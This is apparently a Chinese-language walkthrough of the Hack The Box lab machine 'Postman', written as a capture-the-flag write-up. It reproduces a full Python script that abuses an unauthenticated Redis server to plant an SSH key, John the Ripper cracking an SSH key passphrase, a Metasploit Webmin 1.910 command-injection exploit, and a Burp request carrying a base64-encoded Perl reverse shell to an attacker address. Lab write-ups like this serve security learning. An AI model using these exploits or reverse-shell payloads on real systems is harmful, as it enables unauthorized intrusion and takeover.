2020-02-11 1.9k

HTB::Postman Walkthrough

0x01 靶机介绍

0x02 使用工具和知识点

nmap
redis server
LinEnum.sh
ssh2john.py
John
lse.sh
webmin_packageup_rce

0x03 渗透过程

扫描目标主机所有端口：

kali@kali:~$ nmap -A -Pn -T4 -p- 10.10.10.160
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-09 23:18 EST
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.34s latency).
Not shown: 65531 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

主要来看一下80、6379和10000端口。

80端口：

6379端口：

10000端口：

通常80端口没有什么利用的东西，10000端口上运行Webmin服务尝试弱口令没有效果，而redis服务暴露在6379端口，可以从这里下手，Googleredis key store 4.0.9 expolit，找到下面利用方式

https://github.com/Avinash-acid/Redis-Server-Exploit

#!/usr/bin/python
#Author : Avinash Kumar Thapa aka -Acid
#Twitter : https://twitter.com/m_avinash143
#####################################################################################################################################################

import os
import os.path
from sys import argv
from termcolor import colored


script, ip_address, username = argv


PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'

def ssh_connection():
	shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address
	os.system(shell)

if os.path.isfile(PATH) or os.path.isfile(PATH1):
	try:
    		print colored('\t*******************************************************************', "green")
    		print colored('\t* [+] [Exploit] Exploiting misconfigured REDIS SERVER*' ,"green")
    		print colored('\t* [+] AVINASH KUMAR THAPA aka "-Acid"                                ', "green")
		print colored('\t*******************************************************************', "green")
		print "\n"
		print colored("\t SSH Keys Need to be Generated", 'blue')
		os.system('ssh-keygen -t rsa -C \"acid_creative\"')
		print colored("\t Keys Generated Successfully", "blue")
		os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo  \'\r\n\') > $HOME/.ssh/public_key.txt")
		cmd = "redis-cli -h " + ip_address + ' flushall'
		cmd1 = "redis-cli -h " + ip_address
		os.system(cmd)
		cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " +  ip_address + ' -x set cracklist'
		os.system(cmd2)
		cmd3 = cmd1 + ' config set dbfilename "backup.db" '
		cmd4 = cmd1 + ' config set  dir' + " /usr/lib/"+username+"/.ssh/"
		cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
		cmd6 = cmd1 + ' save'
		os.system(cmd3)
		os.system(cmd4)
		os.system(cmd5)
		os.system(cmd6)
		print colored("\tYou'll get shell in sometime..Thanks for your patience", "green")
		ssh_connection()

	except:
		print "Something went wrong"
else:
	print colored("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.", "red")

执行python2 exp.py 10.10.10.160 redis，SSH登录靶机：

kali@kali:~/Desktop/HTB Scripts/Redis$ python2 exp.py 10.10.10.160 redis
        *******************************************************************
        * [+] [Exploit] Exploiting misconfigured REDIS SERVER*
        * [+] AVINASH KUMAR THAPA aka "-Acid"                                
        *******************************************************************


         SSH Keys Need to be Generated
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa.
Your public key has been saved in /home/kali/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:wMzHMZr3ew4dVP3cXrwsWg7JF7ay4peQHLplhK7BDww acid_creative
The key's randomart image is:
+---[RSA 3072]----+
|        o     .. |
|     + + o   .  .|
|      B =   .  oo|
|   E   = + . o  *|
|    + . S = + +.o|
|     = o * B * o.|
|      = + + % .  |
|     . o . O .   |
|        ..o .    |
+----[SHA256]-----+
         Keys Generated Successfully
OK
OK
OK
(error) ERR Changing directory: No such file or directory
OK
OK
        You'll get shell in sometime..Thanks for your patience
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Feb 10 08:46:56 2020 from 10.10.15.125
redis@Postman:~$ pwd
/var/lib/redis

直接查看/etc/passwd和/home目录，发现有一个Matt用户，而且user.txt权限也属于Matt。设法提升权限，/opt目录下有一个id_rsa.bak文件：

还可以用LinEnum.sh来查找敏感文件：

用ssh2john.py转换为John可识别的文件：

1	kali@kali:~/Desktop$ /usr/share/john/ssh2john.py id_rsa > id_rsa.hash

再用John来破解RSA密码：

kali@kali:~/Desktop$ /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa)
1g 0:00:00:35 DONE (2020-02-10 04:28) 0.02844g/s 408014p/s 408014c/s 408014C/sa6_123..*7¡Vamos!
Session completed

切换为Matt用户，读取user.txt文件：

redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ cd /home/Matt/
Matt@Postman:~$ cat user.txt 
517ad0ec2458ca97af8d93aac08a2f3c

这里不能用id_rsa私钥文件来登录靶机，每次登录成功后都会出现Connection close

用lse.sh脚本查看root权限运行的进程，发现又在10000端口上的webmin，用Matt和computer2008可以成功登录，Googlewebmin exploit，exploit-db上有如下利用方式：

https://www.exploit-db.com/exploits/46984

metasploit也收录这个漏洞。

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   computer2008     yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.160     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      10000            yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME   Matt             yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.4       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

msf5 exploit(linux/http/webmin_packageup_rce) > exploit                         
                                                                                
[*] Started reverse TCP handler on 10.10.14.113:4444                            
[+] Session cookie: ba61f4eadcffcce039b166a29defa004                            
[*] Attempting to execute the payload...                                        
[*] Command shell session 1 opened (10.10.14.113:4444 -> 10.10.10.160:46990) at 
2019-12-24 17:43:52 -0500                                                       
cat /root/root.txt                                                              
                                                                                
a257741[-----------------]ddce

大概看了一下Payload的利用，应该是Webmin在管理升级软件的时候造成了命令注入，执行了额外的用户命令，也可以直接使用Burp Suite发送Payload：

POST /package-updates/update.cgi HTTP/1.1

Host: [RHOST]:[RPORT]

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Cookie: sid=[INPUT GOOD SID HERE]

Referer: [RHOST]:[RPORT]/package-updates/?xnavigation=1

Content-Type: application/x-www-form-urlencoded

Content-Length: 432

Connection: close



u=acl%2Fapt&u=[PAYLOAD HERE]

--------------------------------------------------------
                POC Payload Info
URL decoded
  | bash -c "{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNC4yMjI6NDQ0NCIpO1NURElOLT5mZG9wZW4oJGMscik7JH4tPmZkb3BlbigkYyx3KTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTsn}|{base64,-d}|{bash,-i}"

base64 decoded
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.222:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

all together decoded
  | bash -c "{echo,perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.10.14.222:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'}|{base64,-d}|{bash,-i}"

0x04 Summary

“Postman”是基于Linux的靶机，首先利用Redis服务器，使攻击者可以生成自己的SSH公共密钥文件并将其写入服务器，以获取对系统的未授权访问并发现用户（Matt）的已加密的ssh密钥。我们将获取到的加密的ssh密钥使用JohnTheRipper对其进行破解以获得ssh的密码。之后，再利用10000端口上的Webmin Portal，以Matt的身份登录并访问Webmin面板。最后，我们在Webmin面板中搜索了关于版本号的漏洞利用，并通过metasploit成功地利用了该漏洞并获得了root。

0x05 Reference

[https://github.com/Dog9w23/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite](https://github.com/Dog9w23/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite)

https://blog.csdn.net/test1988x/article/details/103921210

https://www.soeren.codes/2019/12/24/postbox-writeup/

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